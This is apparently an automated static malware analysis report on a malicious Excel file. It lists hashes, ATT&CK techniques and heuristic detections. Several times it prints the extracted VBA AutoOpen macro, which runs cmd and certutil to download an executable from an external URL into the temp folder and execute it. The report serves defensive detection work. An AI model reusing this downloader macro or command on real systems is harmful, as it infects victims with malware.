Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 073e565481f59c87…

MALICIOUS

Office (OOXML)

11.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-02
MD5: 5d58298b0602f0866af7eed25f7e6802 SHA-1: 938e50d2a70e9344a00798dfde319c37f9fded2d SHA-256: 073e565481f59c8731e252127f10c3f999ed682a497ef99608af45c8513e2a50
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that executes a command using cmd.exe and certutil.exe. This command downloads an executable from the URL https://dropmb.com/files/4f400921293328d531acaf0a5615cd6a.exe, saves it as X.exe in the temporary directory, and then executes it. This indicates a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
      code1 = "cmd /k certutil.exe -urlcache -f https://dropmb.com/files/4f400921293328d531acaf0a5615cd6a.exe %temp%\X.exe & cd %temp% & X.exe"
      Shell code1, 1
    End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Sub AutoOpen()
      code1 = "cmd /k certutil.exe -urlcache -f https://dropmb.com/files/4f400921293328d531acaf0a5615cd6a.exe %temp%\X.exe & cd %temp% & X.exe"
      Shell code1, 1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub AutoOpen()
      code1 = "cmd /k certutil.exe -urlcache -f https://dropmb.com/files/4f400921293328d531acaf0a5615cd6a.exe %temp%\X.exe & cd %temp% & X.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://dropmb.com/files/4f400921293328d531acaf0a5615cd6a.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 842 bytes
SHA-256: 3b7eb175ee875f7414b55b0ee5a296e01ecf13200fc636bca8e223c3b19d90ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
  code1 = "cmd /k certutil.exe -urlcache -f https://dropmb.com/files/4f400921293328d531acaf0a5615cd6a.exe %temp%\X.exe & cd %temp% & X.exe"
  Shell code1, 1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 11264 bytes
SHA-256: 7ca9f27f47b2607274d3161b78f9bc758109b5151f2e2b31a5a8e0be9f9c8304